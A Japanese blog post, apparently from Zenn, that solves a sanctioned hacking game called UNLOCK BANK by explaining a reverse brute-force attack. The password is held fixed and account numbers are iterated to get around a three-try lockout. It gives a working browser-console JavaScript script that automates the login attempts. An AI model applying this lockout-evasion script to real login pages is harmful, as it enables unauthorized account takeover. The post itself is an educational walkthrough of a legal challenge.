リバースブルートフォース攻撃を使ってUNLOCK BANKの口座に不正ログインして優勝する

公開:2020/09/22
更新:2020/09/23
5 min読了の目安(約3400字TECH技術記事

銀行口座をHackしたくてウズウズしている皆さん!
きんみさんから挑戦状が届きましたよ。

きんみ | ツイッター大喜利サイト🎍ついぎり🎍作りました🙄
@_kinmi

@銀行口座をHackしたくてウズウズしている皆さん
「違法行為はしたくないけどハッキングはしたい…」
そんな貴方の悩みを解決するゲームをご用意しました。
このゲームでは何をやっても合法です。
是非、不正ログインしてみてください💰
https://unlock-bank.vercel.app #UNLOCK_BANK
https://twitter.com/_kinmi/status/1307988548591611904

なお、本記事の内容は一般的なセキュリティの教科書にのっているレベルのものになります。
本記事は不正アクセスなどを助長するものでは決してなく、基本的なセキュリティ知識を説明するものです。

さて、対象のゲームサイトにアクセスしてみましょう。
https://unlock-bank.vercel.app

このような画面が表示されます。

さて、この先はネタバレになってしまうので、せっかくなのでご興味のある方はチャレンジしてみてからお読みください。

例えば、口座番号 0000-0000 に 0000〜9999 のパスワードすべて入れることができれば、必ず銀行口座をアンロックすることが出来ます。昔の携帯電話のロックなども、この方法で開けられるものがありましたね。これが、ブルートフォース攻撃(総当たり攻撃)です。

暗証番号を3回間違えるとロックされる、徹底したセキュリティ

ただし、この徹底したセキュリティがあるため、ブルートフォース攻撃は使えません。
ですが、パスワード 0000 に固定して、口座番号を 0000-0000 → 0000-0001 という風に増やしていけば、この制約を回避することが出来ます。

パスワードに対して、口座番号を3回間違えるとロックされる、なんてセキュリティ(?)は実現不可能ですね。これがリバースブルートフォース攻撃です。

UNLOCK BANKの口座にリバースブルートフォース攻撃をしかけてみましょう。
イメージとしてはこんな感じです。

コードとしては、こんな感じ。

(async () => {
  const sleep = msec => new Promise(resolve => setTimeout(resolve, msec));
  
  for(let accountNumber=0; accountNumber<=99999999; accountNumber++) {
    document.getElementById("submit").click();

    await sleep(250);

    if (!document.body.textContent.includes('Password is incorrect.')) {
      return;
    }

    document.querySelectorAll('svg[data-icon="caret-up"]')[7].dispatchEvent(new Event('click'));

    if (accountNumber == 0) {
      continue;
    }

    if (accountNumber % 10 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[6].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 100 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[5].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 1000 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[4].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 10000 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[3].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 100000 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[2].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 1000000 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[1].dispatchEvent(new Event('click'));
    }

    if (accountNumber % 10000000 == 0) {
      document.querySelectorAll('svg[data-icon="caret-up"]')[0].dispatchEvent(new Event('click'));
    }
  }
})();

この手のコードを不用意に許可されていないサイトで実行してはいけません

これはひどいコードだ...この人本当にプログラミングのメンターなのかな?
(お気軽モードでやってたのでご容赦ください...)

svgタグにはclick関数が無いみたいなので
dispatchEventで直接clickのEventを発生させるのがポイントです。

Chromeの開発者ツール(F12)のConsoleで実行すると上記のGIFのような解析画面をお試し頂けます。
パスワードは手動で入れてください。

Nuxt(Vue)の場合、Vuex等のFluxパターンを採用してればstateも存在しますが基本的に外部から書き換え可能な作りになってます!
ただ、実際に今書き換えてみたんですが、作り知らずにここへ到達するのはだいぶ無理あるなと思いました…w
https://twitter.com/_kinmi/status/1308054137880285184

ちなみに、今回ご紹介したのは汎用的な手法で、本件に関しては上記手法のほうが優れているのですが、最近vue.jsを書いていなかったので今回は避けました。

その解説は他の方にお願いできればと思います!

【追記】上記手法を含む、きんみさんの解説記事が公開されました
https://zenn.dev/kinmi/articles/b6646b4902dbda585c0b

というわけで、優勝しました👌